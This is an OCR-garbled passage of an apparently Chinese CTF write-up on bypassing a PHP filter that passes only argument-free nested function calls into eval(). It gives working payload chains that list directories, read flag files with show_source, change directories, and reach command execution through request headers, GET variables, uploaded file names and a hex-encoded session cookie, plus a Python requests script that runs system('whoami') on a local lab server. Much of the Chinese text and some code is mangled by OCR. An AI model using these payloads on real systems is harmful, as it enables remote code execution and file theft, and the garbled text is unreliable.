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getallheaders()&apache_request_headers()
get_defined_vars()
session_id()
getenv()
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<?php
highlight_file(__FILE_ );
if(';"' === preg_replace('/[*\W]+\((?R)?\)/', "', $ _GET['code'])) {

eval($_GET['code']);

ARG 8

preg_replace('/[M\W]+\((?R)?\)/"', '', $_GET['code'])

KEMEfpreg replace BRIEEINFHANZ, \wLRFH. HFATFHUE, BNF (*a-za-20-9 ], &
JE (2R) 23RS I A L ALA S

B CAIEN & Xt R ILEE TS B R, WAL ERREMAKES (ESHRED , BILENBEIAE,
AR THRRERE;

BAN T
a(b(c())); ATLMEM, HEa('b")BFa('b', 'c") RMEASHKEAREMEH
Pt ABRATEAE F To S $0H) R Bk AT SO S B iy @ AT
TS BAE B U
BELH HR A
IEH K, print_r(scandir('.")); ATCAAIRER H80 B R X4
BEREEAMESHERZA G, XENRIATTE:
localeconv()

localeconv () REI—GER M FZRETBEREENEH. MBAFE—THML"." JaEHIK . &H
MBI SEE, HERHD



{/code>Array

(
[decimal point] => .
[thousands_sep] =>
[int_curr symbol] =>
[currency_symbol] =>
[mon_decimal point] =»
[mon_thousands_sep] =>
[positive sign] =>
[negative sign] =
[int frac digits] => 127
[frac_digits] => 127
[p_cs precedes] => 127
[p_sep_by space] => 127
[n_cs precedes] => 127
[n_sep by spacel] => 127
[p_sign_posn] => 127
[n sign posn] => 127
[grouping] => Array

(
)

[mon_grouping] => Array

(
)

EREARBXA A, A— R
current () REIFAF K EIT, BIARE—/ME:

© @ 127.0.0.1/test.php?code=print_r(current(localeconv()));

BE—, {FEANE b Leon — FiTEFLeon... Leon-0 - BERE B&E 75z BiRRE: B

<?php
highlight file{ FILE );
if(';' === preg_replace('/[*\W]+\N({(2R)2\)/", "', $ GET['cod=']l)) {

eval($ GET['code']l):s

L]

print r (scandir (current (localeconv()))) ; BRIIITENH 487 H 3 T 304F:

¢ Q © o 127.0.0.1/333/222/111/index.php?code=print_r(scandir(current(localeconv())));

SE—F, {fnE ] Leon — BEFLeon... Leon-0 - E= =3 BnZE iraIRI iv=AE == FreeBuf 5 Bx(Hz

<?php
highlight_file(_ FILE_ ):
if("';' === preg_replace('/["\W]+\((?R)2\)/', "', §_GET['code']l)) {

eval (5 GET['code']);
y Array ( [0] ==.[1]==.. [2] == flagl.php [3] == index.php )

Ei%‘ﬁﬁﬁprint_r (scandir (pos (localeconv()))) ;> pos%currentﬂ@%ﬂ@



R R UMEFreset (), ZREBUREIEHE —NETHE, WRBHAANZNRE FALSE
chr(46)
chr (46) iRFRF"."

g6, BT

chr(rand()) (AsEhr, FiER)

chr(time())

chr(current(localtime(time())))

chr (time()):

chr () ERELA256 95— ANE B, Frlhchr (46),chr (302),chr (558) #&ETF"."
FrEfchr (time (), —NEAALEHEIR—K" . "

chr (current (localtime (time ()))):

HAE - MERMY+1, FrURZE0MH—E/EB 2146, Mcurrent (pos) HAEIRAE" . "

1 <2php Array
2 print_r(localtime(time())) ; (
3 [0] => 10
(1 =>9
2] == 13
3] => 28
4] => 5
[5] => 120
6] => 0
[7] => 179
8] =>0
)
phpversion()
phpversion () IRBIPHPRR A, #15.5.9
floor (phpversion ())RI[E 5
sqgrt (floor (phpversion()))iRIE2.2360679774998
tan (floor (sqrt (floor (phpversion()))))iREI-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))ﬁiEMu5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))ﬂZEM5.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))ﬁi[]46



© @ 127.0.0.1/333/222/111/index.php?code=print(ceil(sinh(cosh(tan{floor(sqrt(floor(phpversion ()

8 b Leon — ZoEFESLeon... Leon-0 - EERE &8 BAZE GiEREEE Esnes FreeBulEEMZ23. @) SQLlnje
<?php
highlight_f£ile(_ FILE );
if (';' == preg_replace('/[*\WI+\{(?R)2\}/", "', $_GET['code'])) |
eval (§_GET['code']);
} 46

v

chr (ceil (sinh (cosh (tan(floor (sqgrt (floor (phpversion()))))))) yIRME]" "
crypt()

hebrevc (crypt (arqg) ) A ABENLAE —ANhashfl, H—NFZRFFENLZS(RBEER) 8 . " (MREZR) R 518
chr (ord () RBE—NFH/F

ps: ord () & [EIFRF & R — TR AscilfE

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));// (ZRIF LK)

© @ 127.0.0.1/333/222/111/index.php?code=print_r(scandir(chr(ord(hebrevc(crypt(time())N));

B =T, sotsie bg leon—25%Slleon..  leon0- 2R PI2E PYAE BESE: BIAATEN  freesuOBRZEH. ©
<?php

highlight file{ FILE );

if(";" === preg_replace("/[*\W]+\{(?R)2\)/", "', $ GET['code"])) {

eval (5_GET['code’]);

1 Array ([0]=>.[1] =>..[2] => flag].php [3] => index.php [4] => zflag.php )

F#: strrev (crypt (serialize (array()))) WATABE". ", HA
Hcrypt (serialize (array())) WEAHBRERE —NFRF, FEMHstrrev () P, REMH
Fchr (ord ()) REUE—NFH/F

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

< c © © @ 127.0.0.1/333/222/111/index.php?code=print_r(scandir(chr(ord(strrev(crypt(serialize (array())))));
5 b Leon - % eon.. leon-0-EEE BEE Byszx BywREx BEeTE  FreeBuEEMZSS.. @ SQLihjecti
<?php
highlight file| FILE );
if(";" == preg replacs("/[*\WR]+\((?R)Z\)/"', "', §_GET['code'])) {

eval {5_GET['code"']);

1 Array ( [0]=>.[1]=>.. [2] == flag].php [3] == index.php [4] = zflag.php )

PHPHI B Sn sz K, KB "HT i EEE WL

EHEK, BAVETUMprint r(scandir ("4XEE")) ; REE L5 BFXMH4
R4 Xt B2 AT B getcwd () Mlrealpath (1. ")

FiABATER A Hprint r (scandir (getcwd ())) ; ¥ Z8i 304 R ATH 44



c © ® 127.0.0.1/333/222/111/index.php?code=print_r(scandir(getcwd()));

EE—TF, {fs0E bg Leon — iPkHLeon... Leon-0 - {BZRE (&2 A= iRRtEs e
<?php

highlight file( FILE );

if(';" === preg replace('/[*\W]+\((?R)2\)/"', "', 5 GET['code']l)) {

eval (§ GET['code']):
} Array ( [0]=>.[1]=>..[2] =>flagl.php [3] => index.php )

EAE RS

AT T T AT E R, R ARERER, tWIPHPIRRD, IRATE T E AL RSO
HI T A5 500 S O R B0, SO AR R, ARBATE B4 B AR E S O B B L e -
AHHPHPF IR :

e current() - IREIFEPAIXBIRTT
each() - IR[EIFE YA / BEXIIHEEEISHRaEa—+

end() - BEAENAEPETHERRE—1 8T

next() - BEEPNREBIEET ERIFSa—AI

e prev() - BEENAERIEEHBIE—(

FMEARXET %, WRERRBARRE —ANEATATCAA

show_source (end (scandir (getcwd()))) ; &
Freadfile. highlight files file get contents FEEXHFREERTTLL (ffF
Freadfileflifile get contentsiZXff, E/RTEIFREL)

ps: readgzfile () WA, HHATSILIE
BTSNz lag. phpEHHEFE index . phpfa BN G — N34

eval($_GET['code']);
 Array ( [0] ==>.[1]=>..[2] == flagl.php [3] == index.php [4] == zflag.php )

© @ 127.0.0.1/333/222/1 11/index.php?code=show source(end(scandir(getcwd())));

Bl =E—F, #55aE b Leon — ZiD#FLeon... Leon-0 - izHE &8 oz B EEEx B esness FreeBufGBARIZ
<?php

highlight_file(_ FILE_ );

if(';' === preg_replace('/["\W]I+\({(2R)2?\)/", "', $_GET['code']l)) |

eval ($_GET['code']):
}
Strict Standards: Only variables should be passed by reference in D:\phpstudy_pro\WWW\333'222\111\index.php(4) : eval(
<?php
Szflag = "zflagi{zzz}";



CHPRA R RERPHPS.3U LR R R A G R, TIRELE SRR EAE, WHXRRBRRA
ESTD

NB—NERE: array reverse () PMHRIITCEIF IR EHH
zflag.phpARERE—M, RITRMBAE 6L, ATLEEMAcurrent (pos) EH

show_source(current(array_reverse(scandir(getcwd()))));

C o @ @ 127.0.0.1/333/222/111/index.php?code=show_source(current(array_reverse(scandir(getcwd())))):

Bl &=—TF, (EnE b Leon — #imETLeon... Leon-0 - @EE EE QAE QEEEE OEETE FreeBulEBAMIZ=SST.. @ SQLihjec
<?php
highlight file( FILE );
if(';" === preg_replace('/["\W]+\{(Z?R)2\)/"', "', $_GET['code'])) {

eval (5_GET['code']) s
} <7php
Szflag = "zflag{zzz}";

IR R BB —ABATAT LA -

show_source(next(array_reverse(scandir(getcwd()))));

WMRAREA N 5 — B B A0

BAITLMEHarray rand(array flip()), array flip () RXEEAMBRIE, array rand () 2
MLIR [Bl — A S0

BT ABATTHT LAA -

show_source(array_rand(array_flip(scandir(getcwd()))));

LIE g

show_source(array_rand(array_flip(scandir(current(localeconv())))));

(ATULE QeSS AT S 45 RAIE . " KIOTEY) & SRR g JEE DL AL, )& 308t R 524 515 )
ZRIFLK, BIEE T IEE HEE A% SR FE = lagl . php:

a Q © @ 127.0.0.1/333/222/111/index.php?code=show source(array rand(array flip(scandir(getcwd()))));
BE—T, #eimE kg Leon - WETLeon... Leon-0 - BEE EE 5z EERE: B Esnes FreeBufBEEMZS3T.. @) SQLlnje
<?php
highlight file( FILE );
if(":;' === preg_replace('/[*\WI+\({2R})2?2\)}/", "', S_GET['code'])) {
eval (§_GET['code']);
} <?php

$flag = "flagl{1l11}";

SR B AR SCHFANE 280 H SRR ?
BEE-ZBEAXXMHHA
BRI R



dirname () : REIEEFHHERXTS, H:

1 <?php /aaa/bbb

2 print_r(dirname(’ /aaa/bbb/ccc. php' )) ;

YN

C © U ® 127.0.0.1/333/222/111/index.php?code=print_r(dirname(getcwd());
EE—T, 4ersse bg Leon- WilkSlleon..  Leon-0-BAE BJEE BYAE LREEY DYGETE®  freebu
<?php
highlight file{( FILE );
if(";' == preg _replace("/[*\W]+\((?R)2\) /', "', & GET['code'])) {

eval (5 _GET['code']);

1 D:\phpstudy_pro'\WWW'3331222

MEHFTUE N, mREARERLEXBE (PREXHEL) , MEREKNR E—EBE, EARRIFAE LN
B3 T3 [B] ST ) 4 I B8 45

chdir () : BUEXAI T/EBER
dirname() /7%

print_r(scandir(dirname(getcwd()))); //&EE L—% B FHCMH

« > C @ © ® 127.0.0.1/333/222/111/index.php?code=print _r(scandir(dirname(getcwd())));

Bl EE—F, 3mE b Leon — FDEFHLeon... leon0-B2E &2 AZ OEHEE OEaTes FreeBufE L]

<?php
highliqht_file{__FILE__);
if(";" — preg_replace("/[*\WI+\((2BI2\}/". *", % _GET["code*])} {

eval (S GET["code']);
} Array ([0]=>.[1]=>..[2] => 111 [3] => flag2.phf)

ﬁ\]%" .. LA
print r (next (scandir (getcwd())));: EMlscandir (getcwd () ) HIMMIBMAE .., BT
PARTBA A next () 3REL

print_r(scandir(next(scandir(getcwd()))));// Al &EEF L& B F X/

g6 XX — s R T URE . 1

next(scandir(chr(ord(hebrevc(crypt(time()))))))

B L% H R

E%print_r (readfile(array rand(array flip(scandir (dirname (getcwd())))))) ; AL
1), <5, FEABRINRLE L T FIF AR M, M HELE—EER, B ELSE LHE]
THEHEZ

HHES3 Tchdir (), FH:



show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

B A %32 LT H o8 £ — B B SR RBOCH

- C @
EE—T,

© @ 127.0.0.1/333/222/111/index.php?code=show_source(array_rand(array_flip(scandir{dirname{chdir(dirname{get

[iE iqlt':l.'m FomsESLeon...

leon0-B&E [EE A EEAEY BEETEE FreeBulTBfZ=s. (@ SQlifjection JCTF..

<?php

highlight file(_FILE_ );

if(';" === preg_replace('/["\W]+\ ((?R)2\})/', '', 5_GET['code'])}) ({
eval {§_GET['code’]):

¥ <7php

$flag = "flag2{2221™:

IMRAREEMdirname (), UMERME" . . K77 KO BEAE IR

HEXBEV#HEAE Fgetcwd () Mlocaleconv () NREBEWSEH, FEREBEEARYT, BATATLAHZ A
E@hebrevc(crypt(arg))

XBcrypt () Ftime () TLERSE, TRWIE:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
BERRE:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(ph
&R PAR
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv(

2 RIF LK

c & © ©® 127.0.0.1/333/222/111/index.php?code=show source(array rand(array flip{scandir{chr{ord{hebrevc(cryptichdir &%
Bl =sE—T, 4shE b Leon - ¥0%FiLeon... Leon-0 - f&E FE Brr: BEeEx e FreeBufBBREZE3T. @) SQLifjection SCTF.. (@) Git
<3php
highlight_fils(_ FILE_ ):
if(*;" == preg_replace('/["\WI+\((2R)2\)/", "", $_GET['cede'])) |

eval (5_GET['code']):
}
Strict Standards: Only variables should be passed by reference in D:'\phpstudy pro'WWW'3331222\111\index.php(4) : eval()'d code on line 1
<?php
$flag = "flag2{222}™;

BE—MBEHELL () (XMEENLE, FAEATERTEESHRED

if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

¢ @

Bl aE—TF, s bg Leon - FEETLeon...

© ® 127.0.0.1/333/222/111/index.php?code=if(chdir(next(scandir(getcwd()))))show_source(array rand(array flip(scar §

FreeBufEBERIZZEA. @) SQLMhjection “CTF . |

leon-0- zE 5E 7E BESEE Beinee

<?php
highlight_file(__ FILE_ ):
if(";' === preg_replace('/[*\W]+\{(?R)2?\}/", "', 5_GET['code’]}) {(

eval (5_GET(['code']):
}
Strict Standards: Only variables should be passed by reference in D:\phpstudy_pro'WWW'3331222\111\index.php(4) : eval()'d code on line 1
<?php
S5flag = "flag2{222}";

BENERZE LEBENRAAT T, —HGTAEERT
HEMEBUR B R



print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev (crypt (serialize (array()))) FiRBHZFRBE—MNAEILELE/, FrLAMERHLL Lpayloadr] LLE
FERE F 0

1 <?php /
2 print_r(chr(ord(strrev(crypt (serialize(array()))))));
3 %

HRGRFRE], linuxR ST 7 E—ERRRABEEE], FrbAA—E R

L <7php Array
print_r (scandir (chr (ord(strrev(crypt (serializelarray()))})))); (
{hi 0] => .
1] => ..
2] => bin
[3] => box
[4] == dev
[5] == etc
[6] == lib
[7] == libb4
[8] => proc
[9] == tmp
[10] == wsr

A -

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

WA EFRBEF M, HEBMSZIIBRRS, A—ER
AR EFOCH: (MR FENR)

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))

WX R EX A%, HEEHVE R EEMRNCR, SRR T
F.Z H 2 AT (RCE)
BATAT LA TS SR BUE RSP, AT BABAT B &

BEAREAN code HEAREHSH, MBATTAT ULSETAERN KT, code HESHRERERSHR? X
FERL AT LATT 35 T0 2 50 o8 B ) BR 1 -

Bt Eheaders, B AheadersBMIHF W, FREPHPFMFZE: headers



headers doesn't exist. Closest matches:

» header

o get_headers

* nsapi_request_headers

|- apache_request_headers
* nsapi_response_headers
» apache_response_headers
» imap_headers

* headers_sent

» headers_list

» iconv_mime_decode_headers
» imap_rfc822_parse_headers
o fdf_header

» soapheader
ﬁ&ﬁﬂm

Zid &, KIgetallheaders () Mlapache request headers ()

getallheaders()&apache_request_headers()

getallheaders () ffapache request headers () WAIZERE, HEZRBRAGELpache RETEH



getallheaders

(PHP &, PHP 5, PHP 7)
getallheaders — SREV2HB HTTP IERLER

15888

getallheaders ( void ) : array

RESALERIEERLER.

IHEAE R apache_request_headersOf5I45. TERIEE apache_request_headers() MISREFEBEE.

R[EE

BESENEKAELERIEE, SWURE] FALSE .

ETIRMATAMLE T, EfTheader LEERATFI:

eval [§_GETL code” |];

2 Array ( [Upgrade-Insecure-Requests] => 1 [Connection] = » close [Accept-Encoding] => gzip, deflate [Accept-Language] = > zh-
=0.5en-US;q=0.3,en;q=0.2 [Accept] => text/html application/xhtml+xml.application/xml;q=0.9.image

CMN.zh:g=0.8.zh-TW:g=0.7 zh-HK;
Jfwebp**,q=08 [User-Agent] => phpinfo(); [Host] => 127.0.0.1 )

BATAT LA -

?code=eval(pos(getallheaders()));
//header
Leon: phpinfo();

o Load URL hitpcii127.000.1/333/222

§ somum {111/index php?eode=print_ngetaliheaders());

UESUE | M postdata [] Refersr [ User Agent
[ Cockies  Clear Al

U phpinfof);

GET /333/222/111/index.php?code=eval (pos|getallheaders{)}): &
.

HTTP/Ll.1

Host: 127.0.0.1

Accept:

text/html, application/xheml+xml, application/xml; q=0.5, image/ wveb
P, *gq=0.8

Accepr-Languags:

Zh—CH, ah:q=0.8, 2h-TV:q=0.7, 2h-HFE: q=0.5,en-US: c=0.3, en: ¢=0.2
Accepr-Encoding: gzip, deflate

Connection: close

Upgr ade-Inssecure-Fequescs: 1

Cache-Contreol: max—age=|:|

Lecn: phpinto();

<Iphp

highlight file(_ FILE
if(';" === preg replace|
eval (§_GET['code']):

YOITVRY V(R NS, 'Y, S_GET['code'])) {

System Windaws NT LAPTOP-KP102UKI 1000 build 18383 (Windaws

Build Date Apr 2 2019 21:50:57

Compiler MSVIC15 (Visual C++ 2017)

Architecture xb4

Configure Command cscript /nologo configure js *—enable-snapshol-build” "--enable-
snap-bui aux i 12_1\sdk shared”
builchdep: 12_1\sdk shared” "—-en
dotnet=shared” “—without-analyzer “-with-pge”

R AEIXELeon: phpinfo () ; HEFE 0, FrAE#EApos (currentMil4) BUE — AN EHKIE



</code>Array

(
[Leon] => phpinfo();
[Cache-Control] => max-age=0
[Upgrade-Insecure-Requests] => 1
[Connection] => close
[Accept-Encoding] => gzip, deflate

FTrMecrant T anrFmiarmal =%

IR, ERARBEARZRANELT, BRABET UEZEMER RZ R

GET /333/222/111/index.php?code=system (pos (getallheadsrsi))); A
.

HTTR/L.1 :“F:‘i‘ e eevn. eees
2 Host: 127.0.0.1 g e e vrar ramt ot Fr e s o
5 Accepr: if(';' == preg_replace("/["\WI+\((ZR)\} /", v §_GET['code"])) |

eval ($ [Toodat ]y s
cext/html, application/xhtml+¥ml, applicat ion/xml; g=0.9, image/ Vel eval($_CET['code’]):

P, */ *ic=D.8B : .
Ahocepr-Language: 7> laptop-kploZuki'leon
zh-CHN, zh;c=0.8, sh-TW:;q=0.7, zh-HE; q=0.5,en-US;=0.3, en:;q=0.2
hocepr-Encoding: gzip, deflate

¢ Connection: close

7 Upgrade-Insecure-Requests: L

8 Cache-Control: max-age=0

S Leon: whoami

'y

n

RIEALEKAR, TSI, SRR RA B R EA
B T AT A3k headers, PHPEANRETT ARG A PHPRZ &

get_defined_vars()

get_defined_vars

(PHP 4 >= 4.0.4, PHP 5, PHP 7)
get_defined_vars — IR[EIHFTE CE N Z2THEMAIEHE

1A

get_defined_vars ( void ) : array

HERFRE— M AFEEENERFIENZ4HE, XETSAERETE. REELESNAPENNES.

ZRBSRELEREERE, Wget. post. cookie. fileiE

¢ @ U @ 127.0.0.1/333/222/111 findex.php?leon=phpinfo();&code=print_riget_defined vars()};
E TE—TF, {Tesms :q Leon — 20 ELeon... leon-0 - %R F&E A7 EREHE: BEinas FreeBuf BRI 23T @ SQlLiMjection SCTF... (¢} GitHub - F"F'@hm.;"
Y
<{?php
highlight_file(_FILE ); A
if(" ;" == preg replace(’ /[ "\WI+\({(?R)?\)/", ", 8 _GET[ code'1))

eval (§_GET[' code’ 1) ;

:?‘ Array ( [ GET] => Array ‘[Iecn] => phpinfao;l[ccde] => print_r(get_defined vars()); ) [ POST] => Array () [ COOKIE] => Array () [_FILES] => Array () )

XEEFERE, leon=>phpinfo () ;E_GET%C?EEP, it DA 75 LA F P IR BB LA -
F—R:



© ® 127.0.0.1/333/222/111/index.php?leon=phpinfa();&code=print_r(pos(get _defined vars());

Leon-0 - fE2E 58 Az BiEEEE FEesres FreeBufOBXMI= =50, @ S

{?php
highlight_file(_ FILE_);
if(";" === preg_replace( /["\WI+\((?R)?\)/, °°, 3$_GET[ code’])) {

eval (3_GET[ code’ 1) ;

1
I

2> Array ( [leon] => phpinfo(); [code] => print_r(pos(get defined vars())); )

B
[ G © @ 127.0.0.1/333/222/111/index.php?leon=phpinfo();&code=print_r(pos(pos(get_defined vars())));
& b Leon FHLeon... Leon-0 - BEE FEE Az OEeEx EEnEs FreeBuflERRZES.. @) SQLIY
<?php
highlight_file(_ FILE );
if( ;" === preg replace( /["\WI+\((?R)?\)/", ', $ GET[ code’])) |

‘ eval ($_GET[ code’]);

;)> phpinfo();

Frik, FHgette B #2287 UG Ay @47, post. cookieH, XEFAERT

?leon=phpinfo();&code=eval(pos(pos(get_defined_vars())));

o © ® 127.0.0.1/333/222/111/index.php?leon=phpinfo();&code=eval(pos(pos(get_defined vars()));
iE b Lleon-% Leon-0 - iEE BEm Az DEEEx BEsnsss FreeBufBBMIZ=5.. (@) SQLI
<?php
highlight_file(_FILE_):
if (" ;" === preg replace(’ /[ \WI+\((?R)?\)/", ', 8 _GET[ code’]l)) {
eval (§_GET[ code’ 1) ;
2

System Windows NT LAPTOP—ENOEUKI 10.0 build 18363 (Windi
Build Date Apr 2 2019 21:50:57

AT F) H file A8 & i3k 47 rcele ?

import requests

files = {
"system('whoami');":

}

#data = {

#"code":"eval(pos(pos(end(get_defined_vars()))));"

#}

r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', f

print(r.content.decode("utf-8", "ignore"))



XEEFZENRZ, filefidisiE—4, TZendEN, FE ApayloadEEMIEXHKLFR L, FHposk ke nhiik

/X4

requests

files = |

= requests. post( ht 127.0.0. 1 222/ 111/ 1index. phy
(r. content. decude[ . “ignore”))

session_id()

session_id(): W LAHRIREUKE ZHuT<iE ID.

Python 2.7.17 (v2.7.17: c2f86486e6, Oct 19 2019, 21:01:17) [NSC w. 1500 64 bit (AN
DE4)] on wind2
'_pre “help”., “copyright”, “credits” or "license()” for more information.

- RESTART C: \Users\91230\Desktop\file..py ==
£ #000000" >

-.'pzr-n style color: ﬁ'IJIJDD[E' »&lt 7php<br /rhighlight_file .u_.pm span style="col

or: ®00TT00" > (< l":pan {span -t_-,ale- color: #OOOOBB*>__FILE "']: an’<span ;'t\le= co

lor: ®OOT700" <br f3if [</spani{span style="color: #DDOBO0">" ' knbsp </ spand {sp
s

an _vry'le=="-~n'lnr #OOTT00"
aniwmuﬂmlﬂM~
W]+ ((7R) 7
lor ﬁ‘DDIJJI:IL'I »" " ¢ span>

=fmbszp ; ..r.-'.[.-.'ar_-.‘.sp:r style="color: #0000BE" preg_repl

#O0TT00" > (</span> {span style=" "color #DDOOD0">" /
style="color: #007700" .S.rl;"p "[.m span style="co
(span style="color: #00T700">, knbep.{/span>{span style="c
an>{span style="color iI'L'L"""| [</=pan><{span style="col
or: #DDOODO" "‘ain J'- > o HO07 »]) Jénbsp ; {knbsp &nbsp &nb
gp . knbsp  <br />imbsp & span style="color ﬁ"ﬂﬂﬂBB
$_GET</span><span style= oF "2 [« .f’:m Sspan style="color: #DD000Q”
ode” </=pan (zpan —tyl--'Cﬂlor #007700" ;]J br [>}<br /></span>{span -tfle-'codo
r: #OODOBE">7kgt . </ spand

Sran
*

fcode>laptop-kplo2uki’leon

sessionFm EffiHsession start () B, AFRESH A session id()

ERE—RRE: XHXEEESMNATFSE ID PEAUTER: azAZ0-9, GES) M- #ES)
fEfhex2bin () BEAT DL+ 7S B BONASCI 245, B ABRAME A 75 BEH I Fhex2bin () BIAT

>>> print'phpinfo()

.encode('hex"')

706870696e666+28293b

GET /333/222/111/index.php?code=
eval (hexlbin(session_id(session_starti))i): HTTF/1.1

2 Hosc: 127.0.0.1

i User-Agent: Mozilla/S.0 (Vindows NT 10.0; Wing4:; x€4; rv:77.0
b ,ZLLU 101 Flf“f:T 77.0

Cext hcmj. appll._arj.ur ‘xhrml+xml, application/xml; q=0.9, imags/web
P " "rg=0.8
Accept-Language:
2h-CN, zh: g=0.8, sh-T¥;:q=0.7, 2h-HK: g=0.5, 26-U3: g=0.3, en; g=0.2
hccept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=TOEGTOE9E=EEEE202910
= Upgrads-Ingsecurse-Regquescs: L

eval(hex2bin(session_id(session_start())));

>>> print'phpinfo();'.encode('hex")
706870696e666128293b

Cookie: PHPSESSID=706870696e666128293b

getenv()

L

PHP Version 5.5.9 E m

System Windows NT LAPTOP-KP102UK] §.2 build 9200 (Windows & Hame Pramium Edition) AMDG4 I

getenv () : REABEEMEFEPHP7AZ G AL TFSH)

FreliZ B R EH TFPHP7AZ G A, BN&SHBL: Wwarning: getenv () expects exactly 1

parameter, 0 given in LIRS



# view-source:http://127.0.0.1/333/222/111/index.php?code=print_r(getenv()):

B =E—T, #@snE g Leon - imkF Leon... Leon-0 - BEE &E Az BREExX B EETs FreeBuf

<{code>{span style="color: #000000">
{span style="color: #0000BB">&1t:?php
<br />highlight_file</span><{span style="color: #007700">(<{/span><{span style="color: #0000BB”
<br />if({/span><{span style="color: #DD0000”>’ ;’ &nbsp:</span>{span style="color: #007700">==
<br />&nbsp;&nbsp;&nbsp;&nbsp;eval ({/span><{span style="color: #0000BB”>$ GET</span><span sty
<br />}
<br /></span><{span style="color: #0000BB”>2&gt:<¢/span>
</ span>
</code>Array
(
[PATH] => D:\Xftp 6\;D:\Xshell6\;C:\Program Files\AdoptOpen]JDK\ jdk-8. 0. 232. 09-hotspot\bin
[SYSTEMROOT] => C:\WINDOWS
[COMSPEC] => C:\WINDOWS\system32\cmd. exe
[PATHEXT] => .COM;.EXE;. BAT;.CMD;. VBS;.VBE;. JS;. JSE;. WSF;. WSH;. MSC
[WINDIR] => C:\WINDOWS
[PHPRC] => D:/phpstudy_pro/Extensions/php/php7. 3. 4nts
[ FCGI_SHUTDOWN EVENT ] => 9008

getenv () ATLLAIRWERR, LR —BLEEB G PITHR, BABOA
Hlphp . iniH, variables_orderﬁﬁ%& GPCS

Wk 2 P R A TE & XPHPT & X2 & HIINF & GET, POST, COOKIES, SERVER, &H E
Y Environment (E) ﬁﬁ(ﬂuﬂ%ﬁphp Lini CHER variables_order{ﬁyﬂ%@ggm”m}?’, i: "EGPCS",
B, § ENVEIER AT DUAE T

UL p VMLLY.Jf/PIIP..IIESLf VAl Lguica Ul uci
643 variables_order = "EGPCS”
AAA

BIVKRBBREHME: OCMEAR, AEZEERBARD



# view-source:http://127.0.0.1/333/222/111/index.php?code=print_r(getenv();

B ==—T, fetanE b Leon — Z@sETLeon... Leon-0 - ERE FEE Bz BREBEX BiEsne FreeBufEE M= 255,

[SYSTEMROOT] => C:\WINDOWS
[COMSPEC] => C:\WINDOWS'\system32\cmd. exe

[PATHEXT] => .COM;.EXE;.BAT;.CMD;. VBS;. VBE:. JS;. JSE;. WSF;. WSH;. MSC

[WINDIR] => C:\WINDOWS

[PHPRC] => D:/phpstudy_pro/Extensions/php/php7. 3. 4nts

[_FCGI_SHUTDOWN_EVENT_] => 8936

[SCRIPT_NAME] => /333/222/111/index. php

[REQUEST_URI] => /333/222/111/index. php?code=print_r(getenv()) ;

[QUERY_STRING] => code=print_r(getenv());

[REQUEST_METHOD] => GET

[SERVER_PROTOCOL] => HTTP/1.1

[GATEWAY_INTERFACE] => CGI/1.1

[REMOTE_PORT] => 53725

[SCRIPT_FILENAME] => D:/phpstudy_pro/WWww/333/222/111/index. php

[SERVER_ADMIN] => admin@example.com

[CONTEXT_DOCUMENT_ROOT] => D:/phpstudy_pro/WWW

[CONTEXT PREFIX] =>

[REQUEST_SCHEME] => http

[DOCUMENT_ROOT] => D:/phpstudy_pro/WWW

[REMOTE_ADDR] => 127.0.0.1

[SERVER_PORT] => 80

[SERVER_ADDR] => 127.0.0.1

[SERVER_NAME] => 127.0.0.1

[SERVER_SOFTWARE] => Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod fcgid/2.3.9a mod_log rotate/1. 02
[SERVER_SIGNATURE] =>

[SystemRoot] => C:\WINDOWS

[HTTP_CACHE_CONTROL] => no-cache

[HTTP_PRAGMA] => no-cache

[HTTP_UPGRADE_INSECURE_REQUESTS] => 1

[HTTP_CONNECTION] => close

[HTTP_ACCEPT_ENCODING] => gzip, deflate

[HTTP_ACCEPT LANGUAGE] => zh—CN, zh;q=0. 8, zh—TW;q=0. 7, zh-HK; g=0. 5, en-US; q=0. 3, en; q=0. 2
[HTTP_ACCEPT] => text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */%:q=0. 8
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
[HTTP_HOST] => 127.0.0.1

[FCGI_ROLE] => RESPONDER

XL BATAT CAIN AR A, J5¥E R £

— - —

Request Response

[R""TF’“"“M"M} EHMNTH::TRM&;]

[_FCGI_SHUTDOWN EVENT ] =» B536

;N !\J‘alue | Add 21 [SCRIPT NAME] => /333/222/111/index.php
GET 1333/222/111findex phpPeode=print_rgeter)), ... | 22 [REQUEST URI] => /333/222/111/index.php?code=print_r{getenvi)):
Remove 2 [QUERY_STRING] => code=print_r(getenv()):
Host 127.0.01 24 [REQUEST_METHOD] =»> GET
User-Agent phipinfod); m 25 [SERVER_PROTOCOL] =» HTTP/1.1
Accept text/html application/xhtmi+xml, application/xmi. P ] 26 Eg::§¥;755§1§“f305;7;; CG1/1.1
Accept-Language Zh-CN.2h:q=0 8.2h-TW:q=0 7.zh-HiCq=05.en- . | [ poun 28 [SCRIPT_FILENAME] => D:/phpstudy pro/WWW/333/222/111/1index.php
Accept-Encoding ozip, deflate [SERVER_ADMIN] => acminfexampls.com
¢ ; | [CONTEXT_DCCUMENT_ROOT] => Di/phpstudy_pee/ WUV
oanecton close 3 [CONTEXT PREFIX] =>
Upgrade-Insecure-Requ... 1 32 [REQUEST_SCHEME] => htcp
Cache-Cantral max-age:tl 33 [DOCUMENT_ROOT] => D:/phpstudy_pro/VWW
